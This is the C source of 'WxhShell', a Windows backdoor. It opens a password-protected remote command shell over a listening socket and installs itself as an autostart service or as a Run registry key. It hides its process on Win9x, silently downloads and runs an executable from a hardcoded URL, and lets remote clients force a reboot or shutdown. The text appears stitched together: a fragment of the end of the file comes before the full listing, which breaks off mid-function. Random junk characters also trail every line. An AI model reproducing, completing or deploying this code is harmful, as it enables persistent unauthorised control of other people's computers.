  // 关机 MXDUKh7v3  
  case 'd': { r^ABu_u(`I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =uR3|U(.|u  
    if(Boot(SHUTDOWN)) (]zi;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -oB=7+g  
    else { @0 [^SU?  
    closesocket(wsh); Dd:^ {  
    ExitThread(0); $  k_6  
    } @\W-=YKLg  
    break; z :u)@>6D1  
    } bc>&Qj2Z7c  
  // 获取shell xT!<x({  
  case 's': { QH?sx k2  
    CmdShell(wsh); Bi>]s%zp  
    closesocket(wsh); s5)y %, E  
    ExitThread(0); %N0m$*  
    break; uJ0Wb$%  
  } 32`Z3-  
  // 退出 WADEDl&,'  
  case 'x': { js% n]$N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0;hn;(V]"  
    CloseIt(wsh); QXgfjo  
    break; u^W!$OfZpp  
    } ^sqzlF  
  // 离开 M0`1o p1  
  case 'q': { p 8Z;QH*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '~1Zr uO  
    closesocket(wsh); nC)"% Sa  
    WSACleanup(); WuTkYiF  
    exit(1); L$y~\1-  
    break; z";(0%  
        } W{~ y< `D  
  } ES8(:5  
  } ?-8DS5  
4vCUVo r  
  // 提示信息 0f_A"K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kO$n0y5e  
} ab]Q1kD  
  } hFxT@I~  
<`wOy [e  
  return; [8%q@6[  
} ,Z}ST|$u  
eBY/Y6R  
// shell模块句柄 y9w,Su2  
int CmdShell(SOCKET sock) }w8yYI  
{ zL'S5'<F|  
STARTUPINFO si; Mc$rsqDz  
ZeroMemory(&si,sizeof(si)); y,w_x,m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &>QxL d#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '(g;nU<  
PROCESS_INFORMATION ProcessInfo; m_,Jbf  
char cmdline[]="cmd"; |$~]|SK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yB 'C9wEH  
  return 0; J6"GHbsO  
} .tQ(q=#  
4t3>`x 7  
// 自身启动模式 s!>9od6^  
int StartFromService(void) W=OryEV?  
{ q- 0q:  
typedef struct dczSW ]%  
{ ]Tg@wMgI  
  DWORD ExitStatus; 2 )3oX  
  DWORD PebBaseAddress; ?e,:x ]\L  
  DWORD AffinityMask; >y(loMl  
  DWORD BasePriority; IM5[O}aq  
  ULONG UniqueProcessId; eKZS_Qd  
  ULONG InheritedFromUniqueProcessId; oXN(S:ZF  
}   PROCESS_BASIC_INFORMATION; CF@*ki3X  
oJ`=ob4WDo  
PROCNTQSIP NtQueryInformationProcess; ]'w5s dP  
WWo"De@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0rm(i*Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7S=,#  
TQ0ZBhd  
  HANDLE             hProcess; Sw5:T  
  PROCESS_BASIC_INFORMATION pbi; 5HE5$S  
=6'bGC%c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rS8\Vf]F  
  if(NULL == hInst ) return 0; P"]l/  
gGx(mX._L?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {J,4g:4G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %d%?\jVb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \fuz`fK:  
3d4A~!Iz  
  if (!NtQueryInformationProcess) return 0; ] @#wR  
o>bi~(H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q/d?c Lgl  
  if(!hProcess) return 0; V>GJO(9  
po,U e>n/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *<6dB#' J  
0C  K  
  CloseHandle(hProcess); *c&OAL]  
z( }w|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u0G tzk  
if(hProcess==NULL) return 0; `%"x'B`mM  
&K(y%ieIJ  
HMODULE hMod; /e*fsQ>M:  
char procName[255]; #y[omla8  
unsigned long cbNeeded; c h((u(G  
 7Z<GlNv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (n7{?`Yid  
#g0N/  
  CloseHandle(hProcess); x$D^Bh,  
9yWf*s<  
if(strstr(procName,"services")) return 1; // 以服务启动 I,HtW),  
e6 x#4YH  
  return 0; // 注册表启动 /e^) *r  
} B3u/ y  
` aF8|tc_  
// 主模块 2oRwDg&7|  
int StartWxhshell(LPSTR lpCmdLine)  ;Q4,I[?%  
{ 9=}[~V n  
  SOCKET wsl; `h'=F(v(}  
BOOL val=TRUE; ~TeOl|!lE+  
  int port=0; DuDt'^]  
  struct sockaddr_in door; o?Cc  
kE8s])Z,+  
  if(wscfg.ws_autoins) Install(); UK1)U)*+  
-3azA7tzz  
port=atoi(lpCmdLine); WVK AA.  
23`salLclG  
if(port<=0) port=wscfg.ws_port; r<Cr)%z!  
j(]O$""  
  WSADATA data; %*wEzvt *  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HW,v"  
x?0K'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l^B4.1rT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )pT5"{  
  door.sin_family = AF_INET; F]r'j ZL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @TX@78fWz=  
  door.sin_port = htons(port); )*{B_[  
Sy4|JM-5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U1pE2o-  
closesocket(wsl); p@uHzu7  
return 1; b4bd^nrqV  
} MSeg7/MF  
=T&<z_L  
  if(listen(wsl,2) == INVALID_SOCKET) { e84%Y8,0  
closesocket(wsl); 0GeL">v,:=  
return 1; NA'45}fQ  
} A#19&}  
  Wxhshell(wsl); Dm8fcD  
  WSACleanup(); ->.9[|lIg  
",Vx.LV  
return 0; RWo7_XO  
I"x|U[*B  
} /j4G}  
Mx`';z8~  
// 以NT服务方式启动 rKI<!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6sQ;Z|!Pz  
{ z=g!mVK5  
DWORD   status = 0; #\n* Qg4p  
  DWORD   specificError = 0xfffffff; >A6W^J|[  
wy${EY^h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ilHf5$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &z:bZH]DH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?eX/vqk  
  serviceStatus.dwWin32ExitCode     = 0; yt="kZ  
  serviceStatus.dwServiceSpecificExitCode = 0; W} H~ka  
  serviceStatus.dwCheckPoint       = 0; =BE!  
  serviceStatus.dwWaitHint       = 0; 2;s[m3  
JoiGuZd>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -T{2R:\{  
  if (hServiceStatusHandle==0) return; B@i%B+qCLv  
"-dA\,G  
status = GetLastError(); q>>1?hzA  
  if (status!=NO_ERROR) cc_'Kv!  
{ lqJ92vi6Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j 4=iHnE;  
    serviceStatus.dwCheckPoint       = 0; hhZ%{lqL  
    serviceStatus.dwWaitHint       = 0; udA@9a^;  
    serviceStatus.dwWin32ExitCode     = status; 4 l-Urn Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; Tq?Ai_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q Tdwi?j_  
    return; { AYW C6Y  
  } F;}JSb"  
-)')PV_+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0zSz[;A  
  serviceStatus.dwCheckPoint       = 0; NW`.7'aWT  
  serviceStatus.dwWaitHint       = 0; Ry]9n.y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4m91XD  
} U0:*?uA.  
FjtS  
// 处理NT服务事件,比如:启动、停止 k_wcol,W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5 m-/N ?c  
{ $`/UG0rdC  
switch(fdwControl) Qg(;>ops  
{ }8aqSD<:  
case SERVICE_CONTROL_STOP: SE^l`.U@  
  serviceStatus.dwWin32ExitCode = 0; :?g+\:`/0j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d4\JM 65  
  serviceStatus.dwCheckPoint   = 0; };9s8VZE  
  serviceStatus.dwWaitHint     = 0; , h'Q  
  { iCg%$h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e"eIQI|N  
  } :}Yk0*  
  return; Hv,ll1@h  
case SERVICE_CONTROL_PAUSE: {2P18&=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q mFbq<&  
  break;  .nrbd#i-  
case SERVICE_CONTROL_CONTINUE: Z.Z;p/4F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6LGl]jHf  
  break; !ae?EJm"  
case SERVICE_CONTROL_INTERROGATE: ,&S0/j  
  break; fK+E5~vQ  
}; 9cP{u$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q*ELMib  
} w->Y92q]  
, ftJw  
// 标准应用程序主函数 "49dsKIOH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {%9@{Q'T.s  
{ vCJa%}  
$o5i15Oy.  
// 获取操作系统版本 l:UKU!  
OsIsNt=GetOsVer(); 0{bl^#$f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Er~KX3vF  
+ynhN\S$/  
  // 从命令行安装 wyB]!4yy,  
  if(strpbrk(lpCmdLine,"iI")) Install(); eQ#i.%   
%~Rg`+  
  // 下载执行文件 FP=- jf/  
if(wscfg.ws_downexe) { Er j{_i?R?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _&V,yp!|  
  WinExec(wscfg.ws_filenam,SW_HIDE); g*YA~J@  
} u$[8Zmgzz  
GEf=A.WAfw  
if(!OsIsNt) { v :/!OvLe  
// 如果时win9x,隐藏进程并且设置为注册表启动 X coPkW  
HideProc(); 2!B|w8ar  
StartWxhshell(lpCmdLine); _1G/qHf^S  
} &k}B66  
else >(igVaZ>  
  if(StartFromService()) q 9xA.*  
  // 以服务方式启动 ^#Q-?O  
  StartServiceCtrlDispatcher(DispatchTable); V^[&4  
else "ckK{kS4~  
  // 普通方式启动 wW\@^5  
  StartWxhshell(lpCmdLine); P* 0kz@  
{zm8`  
return 0; A"b31*_  
} qQ3Q4R\  
z!bT^_Cc0  
hwXsfh |  
|w*s:p  
=========================================== Fd<Ouyxqe  
mL`8COA  
,IboPh&Q78  
"ufSHrZv  
Z@Q*An  
LS<+V+o2%  
" k"DZ"JC  
~=OJCKv5(  
#include <stdio.h> ]9w)0iH  
#include <string.h> ,>6a)2xh  
#include <windows.h> N}B&(dJ  
#include <winsock2.h> #9DJk,SP  
#include <winsvc.h> hui #<2{  
#include <urlmon.h> >_yL@^  
Y"8@\73(R  
#pragma comment (lib, "Ws2_32.lib") mm: TR?^  
#pragma comment (lib, "urlmon.lib") o<!H/PN  
T2w4D !  
#define MAX_USER   100 // 最大客户端连接数 t>}S@T{~T  
#define BUF_SOCK   200 // sock buffer )$E){(Aa  
#define KEY_BUFF   255 // 输入 buffer [}HPV+j=U  
 d6tLC Q  
#define REBOOT     0   // 重启 i:jXh9+  
#define SHUTDOWN   1   // 关机 "*X\'LPs=  
g{}<ptx]  
#define DEF_PORT   5000 // 监听端口 iEtR<R>=  
^z)De+,!4  
#define REG_LEN     16   // 注册表键长度 \HzmhQb+m  
#define SVC_LEN     80   // NT服务名长度 xtv%C  
' abEY  
// 从dll定义API A ~vx,|I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e Fz$h2*B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i&6U5Va,G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TM#L.xPMf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p!:oT1U  
d<j`=QH  
// wxhshell配置信息 Wgte.K> /  
struct WSCFG { ?o+%ckH  
  int ws_port;         // 监听端口 d"-I^|[OM  
  char ws_passstr[REG_LEN]; // 口令 Ff/Ap&0+  
  int ws_autoins;       // 安装标记, 1=yes 0=no mTX:?>  
  char ws_regname[REG_LEN]; // 注册表键名 GV1Ol^  
  char ws_svcname[REG_LEN]; // 服务名 zx\-He  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 de W1>yh^_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]FVJQS2h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )YEAk@h@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W>w(|3\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (nB[aM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tb~E.Lm\  
v4|TQ8!wR  
}; m\jjj^f a  
@uRJl$3  
// default Wxhshell configuration d5Ae67  
struct WSCFG wscfg={DEF_PORT, Gy):hGgN  
    "xuhuanlingzhe", D^%IFwU^  
    1, X5.9~  
    "Wxhshell", P<&bAsje  
    "Wxhshell", FNLS=4  
            "WxhShell Service", `O2P&!9&  
    "Wrsky Windows CmdShell Service", yD& Y`f#  
    "Please Input Your Password: ", y'^U4# (  
  1, oc,I, v  
  "http://www.wrsky.com/wxhshell.exe", l([aKm#  
  "Wxhshell.exe" D )`(b  
    }; &\6},JN  
T:{&e WH  
// 消息定义模块 =ZURh_{xV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]}b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !~?/D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "0PsCr}!  
char *msg_ws_ext="\n\rExit."; {u y^Bui}  
char *msg_ws_end="\n\rQuit."; b?`2LAgn  
char *msg_ws_boot="\n\rReboot..."; =6ru%.8U,  
char *msg_ws_poff="\n\rShutdown..."; 1gBLJ0q  
char *msg_ws_down="\n\rSave to "; $dI mA  
&UnhYG{A  
char *msg_ws_err="\n\rErr!"; d*Mqs}8  
char *msg_ws_ok="\n\rOK!"; fNAW4I I}  
$[`rY D/.  
char ExeFile[MAX_PATH]; Yn [ F:Z  
int nUser = 0; {c3FJ5:  
HANDLE handles[MAX_USER]; /Q7q2Ne^*  
int OsIsNt; *Lz'<=DLoW  
8 f~x\.  
SERVICE_STATUS       serviceStatus; w`8H=Hf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -V4{tIQY  
P]^OSPRg  
// 函数声明 !Q~>)$Cf^  
int Install(void); b6k_u9m^E  
int Uninstall(void); @R`6j S_gK  
int DownloadFile(char *sURL, SOCKET wsh); |0}Xb|+  
int Boot(int flag); T\p>wiY2|F  
void HideProc(void); )_C>hWvo_  
int GetOsVer(void); /hqn>t  
int Wxhshell(SOCKET wsl); Z_bVCe{  
void TalkWithClient(void *cs); <h9nt4F  
int CmdShell(SOCKET sock); ba G_7>Q9H  
int StartFromService(void); .up[wt gN  
int StartWxhshell(LPSTR lpCmdLine); I>nYI|o1  
Ek `bPQ5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  .GJbrz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0!YVRit\N  
Hl%Og$q3  
// 数据结构和表定义 =TEe:%mN  
SERVICE_TABLE_ENTRY DispatchTable[] = 0|-}>>qb\  
{ IxUj(l1Fm  
{wscfg.ws_svcname, NTServiceMain}, 9Cd/SlNV2  
{NULL, NULL} BQWg L  
}; KxKZC }4m  
c3l(,5DtH  
// 自我安装 T5}3Y3G,6  
int Install(void) E)m \KSwh  
{ Dx /w&v  
  char svExeFile[MAX_PATH]; ?K pDEH~\  
  HKEY key; u{=h%d/  
  strcpy(svExeFile,ExeFile); +Eb-|dM  
*LBF+L^C%  
// 如果是win9x系统,修改注册表设为自启动 yc]_?S>9  
if(!OsIsNt) { "4WnDd 5"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +pT;; 9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jxe5y3* (  
  RegCloseKey(key); U3B&3K} ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "zNS6I?rzE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2"a%%fv  
  RegCloseKey(key); l]&A5tz3  
  return 0; *jc >?)k  
    } ,2Ed^!`  
  } 6<\dQ+~  
} rMJ@oc  
else { ~.^:?yCA  
m=E/um[D  
// 如果是NT以上系统,安装为系统服务 Xlug{ Uh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vgtAJp+p*  
if (schSCManager!=0) ;sYDs71y  
{ AaB1H7r-  
  SC_HANDLE schService = CreateService ul N1z  
  ( 1t/c@YUTy  
  schSCManager, xzY/$?  
  wscfg.ws_svcname,  y_[VhZ%  
  wscfg.ws_svcdisp, ={cM6F}a@  
  SERVICE_ALL_ACCESS, CZ] Dm4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mB0`>?#i  
  SERVICE_AUTO_START, "Y^Fn,c  
  SERVICE_ERROR_NORMAL, "dv\ 9O  
  svExeFile, 3v3cK1K@oE  
  NULL, 7^rT-f07  
  NULL, @eBo7#Zr  
  NULL, L T`T~|pz  
  NULL, 9HN&M*}  
  NULL Y'P^]Q=}_#  
  ); k~<Ozx^AyY  
  if (schService!=0) e^\(bp+83  
  { +|S)Mm8-  
  CloseServiceHandle(schService); BR@gJ(2  
  CloseServiceHandle(schSCManager); LC=M{\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H&*&n}vh5y  
  strcat(svExeFile,wscfg.ws_svcname); I&15[:b=-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }vB{6E+h/w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W^[QEmyn  
  RegCloseKey(key); !p\ @1?  
  return 0; +K'YVB U}  
    } (L4C1h_]9  
  } 34)l3UI~  
  CloseServiceHandle(schSCManager); S`mB1(h  
} 7`L]aRS[  
} 0hkYexX73  
) xV>Va8)  
return 1; o\W>$$EXD  
} R3_;!/1  
|]q{ qsy  
// 自我卸载 R=R]0  
int Uninstall(void) U"@p3$2QW  
{ En-=z`j G  
  HKEY key; VrT-6r'Y  
(]mBAQ#hw  
if(!OsIsNt) { JM0+-,dl[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z[z" v  
  RegDeleteValue(key,wscfg.ws_regname); 1n2Pr'|s  
  RegCloseKey(key); Bf^K?:r"V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ''9K(p6  
  RegDeleteValue(key,wscfg.ws_regname); ?en-_'}~a  
  RegCloseKey(key); fOSJdX0e|Q  
  return 0; mBrZ{hqS  
  } h8M}}   
} 4>Ht_B<<  
} !F6rcDKI  
else { m>[G-~0?kI  
JT6Be8   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `3K."/N6c  
if (schSCManager!=0) I YptNR  
{ UZiL NKc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H<^3H  
  if (schService!=0) eUa:@cA  
  { ri3*~?k00  
  if(DeleteService(schService)!=0) { ^Bw"+6d  
  CloseServiceHandle(schService); )<'2 vpz  
  CloseServiceHandle(schSCManager); 0V"(}!=2a  
  return 0; s&WE'  
  } Qd3ppJn  
  CloseServiceHandle(schService); NV} fcZ  
  } GmUm?A@B  
  CloseServiceHandle(schSCManager); kp?_ir  
} o"N\l{#s  
} Ek06=2i  
+m}D.u*cp  
return 1; I)3LJK  
} i[33u p  
Mp5Z=2l5  
// 从指定url下载文件 .Q</0*sp  
int DownloadFile(char *sURL, SOCKET wsh) I A=\c  
{ =y?Aeqq\fl  
  HRESULT hr; p*zTuB~e<  
char seps[]= "/"; @1k-h;`,  
char *token; tnb'\}Vn  
char *file; a(-t"OL\  
char myURL[MAX_PATH]; 6]!Jo)BF  
char myFILE[MAX_PATH]; N^[MeG,8  
$RRh}w\0^  
strcpy(myURL,sURL); vls+E o]  
  token=strtok(myURL,seps); b\NY!)B  
  while(token!=NULL) bWCtRli}  
  { 'UCClj;?K  
    file=token; j6*e^ B  
  token=strtok(NULL,seps); Xe ^NVF  
  } *m&'6qsS  
qvh8~[  
GetCurrentDirectory(MAX_PATH,myFILE); |D;I>O^"R  
strcat(myFILE, "\\"); :9>U+)%  
strcat(myFILE, file); Oeg^%Y   
  send(wsh,myFILE,strlen(myFILE),0); .nA9irc  
send(wsh,"...",3,0); PGTjOkx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bI;u};v  
  if(hr==S_OK) Xa U ^^K  
return 0; o|s|Wm x>u  
else 8RZqoQDH  
return 1; &$pQ Jf  
Ni;jMc  
} EUPc+D3  
e/)Vx'd`+  
// 系统电源模块 1B{u4w7S4e  
int Boot(int flag) 7;#o?6!7  
{ PMj!T \B|  
  HANDLE hToken; $U^ Ms!'L  
  TOKEN_PRIVILEGES tkp; V1,4M_Z  
xiC.M6/  
  if(OsIsNt) { D|C!KF (  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )h%tEY$AJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Lp{uA4:=K  
    tkp.PrivilegeCount = 1; !|,djo!N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *2m{i:3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #("E) P  
if(flag==REBOOT) { c5eimA%`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Fe 7 8YDx?  
  return 0; Og2w] B[  
} B1U7z1<  
else { .T~Oc'wGo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $C{-gx+:  
  return 0; I^``x+a  
} =^ x1: Ak  
  } %$R]NL|  
  else { ~#rmw6y  
if(flag==REBOOT) { ukee.:{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -zm-|6[Wi  
  return 0; \-Q6z 8  
} NF*Z<$'%  
else { .Ax]SNZ+:A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <q4 <3A  
  return 0; }K 2fwE  
} |s !7U  
} W_]onq 6  
[Al} GM  
return 1; {k<mN Y  
} > a8'MK  
A9y3B^\*  
// win9x进程隐藏模块 7Rr +Uzb(  
void HideProc(void) $r(9'm}W  
{ ~Y7:08  
J}VG4}L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]n4G]ybK%  
  if ( hKernel != NULL ) 5mI}IS|@  
  { E^Z?X2Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c38ENf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  }}d,xI  
    FreeLibrary(hKernel); yt`K^07@  
  } $?|$uMIafp  
ekSSqj9";  
return; srIt_Wq  
} ^#z*   
e6'y S81  
// 获取操作系统版本 ;<K#h9#*7  
int GetOsVer(void) rhwjsC6  
{ GaOM|F'>  
  OSVERSIONINFO winfo; 6L&_(/{Uw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yT C+5_7  
  GetVersionEx(&winfo); K!|J/W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =D^R,Q  
  return 1; J+Zp<Wu-  
  else z7O$o/E-*  
  return 0; s>e)\9c  
} m+dJ3   
9.l*#A^  
// 客户端句柄模块 ys} I~MK-  
int Wxhshell(SOCKET wsl) EpH\;25u  
{ ;v%f +  
  SOCKET wsh; Jw -3G3h  
  struct sockaddr_in client; Ibu  5  
  DWORD myID; r[KX"U-  
6F3FcUL  
  while(nUser<MAX_USER) p']oy;t  
{ qbD[<T  
  int nSize=sizeof(client); IFW"S fdZk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0{.[#!CSk  
  if(wsh==INVALID_SOCKET) return 1; t|}}#Z!I[f  
pn aSOyR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !s[[X5  
if(handles[nUser]==0) iiTt{ab\Y  
  closesocket(wsh); / #D R|  
else :z%q09.)  
  nUser++; %1kIaYZ  
  } <2fgao&-n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7NQEnAl  
yo!Y%9  
  return 0; kuo!}QFL  
} 7toDk$jJRg  
*L#\#nh7  
// 关闭 socket mBg$eiGTB  
void CloseIt(SOCKET wsh) PI$K+}E  
{ ~y8KQ-1n"  
closesocket(wsh); Na$[nv8qh  
nUser--; 8QFg6#"O  
ExitThread(0); C"g bol^  
} )cBO_  
lWk/vj<5  
// 客户端请求句柄 qW|_|%{U+  
void TalkWithClient(void *cs) !4(QeV-=  
{ 1R7w  
<4%vl+qW  
  SOCKET wsh=(SOCKET)cs; _+}#  
  char pwd[SVC_LEN]; wF$z ?L  
  char cmd[KEY_BUFF]; &O^t]7  
char chr[1]; iO{LsG*5Z  
int i,j; } o@Dsx5  
&[y+WrGG  
  while (nUser < MAX_USER) { _.^`DP >  
fsUZG6  
if(wscfg.ws_passstr) { w'a3=_nW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UKp^TW1^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S0!w]Ku  
  //ZeroMemory(pwd,KEY_BUFF); \JIyJ8FleC  
      i=0; U'0e<IcY  
  while(i<SVC_LEN) { x5eSPF1  
9}aEV 0 V|  
  // 设置超时 Q4F&#^02y  
  fd_set FdRead;  Jju^4  
  struct timeval TimeOut; o&#!W(   
  FD_ZERO(&FdRead); E{{Kz r2$  
  FD_SET(wsh,&FdRead); i@#=Rxp  
  TimeOut.tv_sec=8; =&roL7ps  
  TimeOut.tv_usec=0; ibh,d.*~g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]Yk)A.y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jAy 0k  
X v$"B-j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .g!K| c  
  pwd=chr[0]; ZFRKzPc {V  
  if(chr[0]==0xd || chr[0]==0xa) { 80 ckh  
  pwd=0; Oz Axnd\.N  
  break; 5 N:IH@  
  } $Ahe Vps@@  
  i++; G]O5irsV  
    } V$3`y=8  
FPukV^  
  // 如果是非法用户,关闭 socket _~O*V&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y1 a1UiHGP  
} r>B|JPm  
1;eWnb(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W}M 3z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cr~.],$Om  
U[W &D%'  
while(1) { W(Rp@=!C  
v:]z-zU  
  ZeroMemory(cmd,KEY_BUFF); S9d Xkd  
KRb'kW  
      // 自动支持客户端 telnet标准   q@vqhE4  
  j=0; jR>`Xz  
  while(j<KEY_BUFF) { -.l.@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LpN3cy>U  
  cmd[j]=chr[0]; ;Pe=cc"@  
  if(chr[0]==0xa || chr[0]==0xd) { |G/W S0  
  cmd[j]=0; +P%k@w#<Z  
  break; !TO+[g!  
  } z[' 2  
  j++; ~,.'#=V  
    } rG3?Z^&R+  
moL3GV%]Gq  
  // 下载文件 pKaU [1x?%  
  if(strstr(cmd,"http://")) { y+nX(@~f]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r*9*xZ>8u  
  if(DownloadFile(cmd,wsh)) 2=uwGIF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0G`@^`  
  else /h9v'Y}c  
